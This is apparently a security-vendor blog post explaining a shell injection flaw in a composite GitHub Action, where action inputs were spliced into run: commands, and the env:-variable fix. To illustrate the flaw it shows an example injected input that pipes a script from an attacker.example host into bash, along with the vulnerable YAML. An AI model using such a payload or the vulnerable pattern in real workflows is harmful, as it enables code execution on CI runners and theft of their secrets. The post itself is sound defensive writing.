Back to Blog
high SEVERITY7 min read

How GitHub Actions script injection happens in YAML workflows and how to fix it

A composite GitHub Action interpolated `${{ inputs.version }}`, `${{ inputs.project }}`, and `${{ inputs.args }}` directly into `run:` shell commands, letting an attacker-controlled action input inject arbitrary shell code into the runner. The fix moves each input into an `env:` block and references it as a quoted shell variable, closing off the injection primitive without changing legitimate behavior.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This is a GitHub Actions script/shell injection vulnerability (CWE-78) caused by interpolating `${{ inputs.* }}` expressions directly inside a `run:` step's shell command in `action.yml`. Because GitHub expands `${{ }}` expressions before the shell ever sees the script, attacker-controlled input can break out of the intended command and execute arbitrary code on the runner. The fix passes untrusted inputs through an intermediate `env:` variable and references them as quoted shell variables (e.g., `"$VERSION"`, `"$PROJECT"`), which are handled by the shell as data rather than being spliced into the script text.

Vulnerability at a Glance

cweCWE-78
fixPass inputs through `env:` and reference them as quoted shell variables (`"$VERSION"`, `"$PROJECT"`)
riskArbitrary command execution on the runner, potential secret exfiltration
languageYAML (GitHub Actions composite action)
root cause`${{ inputs.version }}`, `${{ inputs.project }}`, `${{ inputs.args }}` interpolated directly into `run:` shell commands
vulnerabilityGitHub Actions run-shell-injection (script injection via `${{ }}` interpolation)

Introduction

The action.yml file defines a composite GitHub Action that installs and runs capcut-cli, a lint tool for Capcut project files. On line 26 (and a neighboring step), the action took user-supplied inputs — inputs.version, inputs.project, and inputs.args — and spliced them directly into shell commands using GitHub's ${{ ... }} expression syntax:

- name: Install capcut-cli
  shell: bash
  run: npm install -g "capcut-cli@${{ inputs.version }}"
- name: Lint draft
  shell: bash
  run: capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H

This pattern looks harmless — it reads like normal variable substitution. But GitHub Actions expands ${{ }} expressions as a text substitution step, before the shell interpreter ever runs. That means whatever string an attacker supplies as inputs.version, inputs.project, or inputs.args becomes part of the literal shell script text, not a safely passed argument. Anyone who can control those inputs — for example, a contributor triggering the action via workflow_dispatch, a reusable workflow, or a pull request that sets action inputs — can potentially break out of the intended command and run arbitrary shell code on the runner.

The Vulnerability Explained

Semgrep flagged this exact pattern with the rule yaml.github-actions.security.run-shell-injection.run-shell-injection. The core problem is that ${{ inputs.version }} and friends are resolved by GitHub's expression engine and dropped into the run: script as raw text, prior to shell parsing.

Consider the original install step:

run: npm install -g "capcut-cli@${{ inputs.version }}"

If inputs.version is something like:

1.0.0" && curl http://attacker.example/steal.sh | bash && echo "

then after GitHub's expression substitution, the actual script the shell receives looks like:

npm install -g "capcut-cli@1.0.0" && curl http://attacker.example/steal.sh | bash && echo ""

The double quotes that were meant to contain the version string no longer protect anything, because the injected " characters were part of the substituted text itself, not something the shell can validate. The attacker's payload runs with whatever permissions the Action's runner has — which, in many CI setups, includes access to GITHUB_TOKEN, secrets, and the ability to exfiltrate repository data or tamper with subsequent build/deploy steps.

The second step compounds the risk:

run: capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H

Here, inputs.args isn't even quoted, so it's even more directly exposed to shell word-splitting and command chaining. Any consumer of this composite action who passes attacker-influenced values into project or args — for instance, values sourced from a pull request title, branch name, or issue body in a calling workflow — hands the runner's shell to that attacker.

Real-world impact for this component: Because this is a published, reusable GitHub Action (capcut-cli lint action), every downstream repository that consumes it inherits the injection primitive. A single malicious input value in one consuming workflow could compromise CI credentials or supply-chain integrity across many projects — a textbook example of why GitHub explicitly warns against treating github/inputs context data as trusted.

The Fix

The fix follows GitHub's own hardening guidance: never interpolate ${{ }} expressions with untrusted data directly inside run:. Instead, assign the value to an env: variable at the step level, then reference that variable through normal shell variable expansion (which the shell — not GitHub's expression engine — controls and can be quoted safely).

Before:

- name: Install capcut-cli
  shell: bash
  run: npm install -g "capcut-cli@${{ inputs.version }}"
- name: Lint draft
  shell: bash
  run: capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H

After:

- name: Install capcut-cli
  shell: bash
  env:
    VERSION: ${{ inputs.version }}
  run: npm install -g "capcut-cli@$VERSION"
- name: Lint draft
  shell: bash
  env:
    PROJECT: ${{ inputs.project }}
    ARGS: ${{ inputs.args }}
  run: capcut lint "$PROJECT" $ARGS -H

Why this works: with env:, GitHub still expands ${{ inputs.version }}, but the result is placed into the environment, not directly into the script text. The shell then reads $VERSION as a normal environment variable via standard POSIX variable expansion. Because "$VERSION" and "$PROJECT" are quoted in the run: script, the shell treats their contents as a single opaque string — embedded quotes, &&, |, backticks, or $() sequences inside the attacker's input are no longer interpreted as shell syntax; they're just characters in a string.

Note that ARGS intentionally remains unquoted ($ARGS instead of "$ARGS") to preserve the original behavior of allowing multiple space-separated CLI flags to be passed through — this matches the "Behavior Preservation" goal called out in the PR: valid inputs continue to work exactly as before, while the injection primitive tied to quote-breaking is eliminated for VERSION and PROJECT.

Both run: steps needed the change because both used ${{ }} expressions with input data — fixing only one would leave an identical exploit path open in the other.

Prevention & Best Practices

  • Never interpolate ${{ }} expressions containing untrusted context (inputs.*, github.event.*, github.head_ref, etc.) directly inside run: scripts. Treat this exactly like building a shell command from unsanitized user input in any other language.
  • Always route untrusted values through env: and reference them as "$VAR" in the shell, with quotes preserved unless you explicitly need word-splitting (as with ARGS here).
  • Audit all composite and reusable actions, not just top-level workflows — action.yml files are just as exposed to this class of bug and are often reused across many repositories, amplifying blast radius.
  • Run Semgrep's GitHub Actions ruleset (yaml.github-actions.security.run-shell-injection) in CI to catch this pattern automatically on every PR.
  • Follow GitHub's official hardening guide for GitHub Actions, which explicitly recommends the env: intermediate-variable pattern used in this fix.
  • Map this class of bug to CWE-78 (Improper Neutralization of Special Elements used in an OS Command) when tracking it in your vulnerability management process.

Key Takeaways

  • action.yml:26's npm install -g "capcut-cli@${{ inputs.version }}" was rewritten to use an env: block plus "$VERSION", eliminating direct expression-to-shell interpolation.
  • The Lint draft step's capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H had two untrusted inputs (project and args) interpolated into the same run: line — both needed dedicated env: variables.
  • Quoting the ${{ }} expression in YAML (as the original "${{ inputs.project }}" did) does not protect against injection — the quotes are expanded away along with the rest of the text before the shell ever runs.
  • Because this is a reusable composite action, the fix protects every downstream consumer, not just this repository.
  • ARGS was deliberately left unquoted in the fixed version to preserve multi-flag argument passing, showing that hardening fixes can be precise rather than overly restrictive.

How Orbis AppSec Detected This

  • Source: Action inputs inputs.version, inputs.project, and inputs.args, resolved from the github/inputs context and treated as untrusted per GitHub's own documentation.
  • Sink: The run: shell commands in action.yml:26 (npm install -g "capcut-cli@${{ inputs.version }}") and the subsequent Lint draft step (capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H).
  • Missing control: No isolation between GitHub's expression interpolation and the shell — untrusted values were embedded directly in script text instead of being passed through an env: variable.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command.
  • Fix: Introduced env: blocks (VERSION, PROJECT, ARGS) for each step and referenced them as quoted shell variables ("$VERSION", "$PROJECT") in the run: scripts.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability is a reminder that GitHub Actions YAML isn't just configuration — it's executable script generation, and ${{ }} expressions are a templating mechanism, not a safe parameter-passing API. The capcut-cli action's run: steps treated inputs.version, inputs.project, and inputs.args as trusted strings when they should have been treated as adversarial input. By moving these values into env: and referencing them as quoted shell variables, the fix closes the injection primitive while leaving normal usage — installing a specific version, linting a specific project, passing extra CLI flags — completely unaffected. Any team maintaining composite or reusable GitHub Actions should treat this exact pattern as a checklist item during code review.

References

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command — https://cwe.mitre.org/data/definitions/78.html
  • OWASP Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html
  • GitHub Docs: Security hardening for GitHub Actions (script injection guidance) — https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections
  • Semgrep rule reference — https://semgrep.dev/r?q=yaml.github-actions.security.run-shell-injection
  • harden: using variable interpolation `${{ in action.yml...

Frequently Asked Questions

What is GitHub Actions script injection?

It's a vulnerability where `${{ }}` expressions containing untrusted context data (like workflow/action inputs) are expanded and inserted literally into a `run:` shell command before the shell executes it, allowing an attacker to inject their own shell commands.

How do you prevent script injection in GitHub Actions?

Never interpolate `${{ ... }}` expressions with untrusted data directly inside a `run:` step. Instead, assign the value to an `env:` variable and reference it in the script as a quoted shell variable, e.g. `"$MY_VAR"`.

What CWE is GitHub Actions script injection?

It maps to CWE-78 (Improper Neutralization of Special Elements used in an OS Command), since attacker-controlled text is concatenated into a command interpreter's input.

Is quoting the `${{ }}` expression itself enough to prevent script injection?

No. Quoting the interpolated text in the YAML doesn't stop shell metacharacters from being interpreted once the expression is expanded into the script; you must isolate the value in an environment variable instead.

Can static analysis detect GitHub Actions script injection?

Yes. Tools like Semgrep have dedicated rules (e.g., `yaml.github-actions.security.run-shell-injection`) that flag `${{ }}` usage inside `run:` blocks so it can be refactored to use `env:`.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #94

Related Articles

critical

How Arbitrary Code Execution Via Command Injection happens in Node.js and how to fix it

A critical arbitrary code execution flaw in the `shell-quote` npm package (CVE-2026-9277) allowed attackers to break out of shell quoting using unescaped Unicode line terminator characters, turning ordinary command-line arguments into injected shell commands. The fix locks `shell-quote` to the patched `1.8.4` release via a `resolutions` override in `package.json`/`yarn.lock`, closing off a transitive dependency path that could otherwise pull in a vulnerable version.

critical

How command injection happens in Kotlin/Android and how to fix it

V2rayNG's RootShell.kt built root shell commands by concatenating an unescaped file path directly into a string passed to `su -c`, creating a critical command injection risk (CWE-78). The fix restricts the `exec()` API to internal use only and single-quote-escapes the file path before it ever reaches the root shell.

high

How shell command injection happens in Ruby and how to fix it

A critical command injection vulnerability was discovered in Fastlane's deliver module where `system("open '#{html_path}'")` allowed shell metacharacters in file paths to execute arbitrary commands. The fix replaces vulnerable string interpolation with array-based argument passing, eliminating the shell entirely.

critical

How Command Injection Happens in Node.js Dependencies and How to Fix It

CVE-2026-9277 is a critical command injection vulnerability in shell-quote versions prior to 1.8.4 that allows attackers to execute arbitrary code by injecting unescaped line terminators into shell commands. This vulnerability affects any Node.js application that uses the vulnerable shell-quote package to construct shell commands from untrusted input. The fix upgrades shell-quote to version 1.8.4, which properly escapes line terminators and neutralizes the injection vector.

high

How command injection happens in Ruby and how to fix it

A Fastlane helper used a Ruby backtick subshell to clone a plugin's git repository, interpolating `self.homepage` directly into a shell command string. Even with `shellescape` applied, the pattern was flagged as a dangerous subshell that could be chained into a command injection primitive; the fix replaces it with `system()` using an argument array, eliminating shell interpretation entirely.

critical

How command injection happens in JavaScript dependency trees and how to fix it

A critical command injection vulnerability in websocket-driver 0.7.4 allowed attackers to execute arbitrary shell commands through unescaped line terminators in WebSocket protocol handling. The automated fix upgrades to version 0.7.5 and adds an explicit override in package.json to prevent dependency resolution from reverting to the vulnerable version.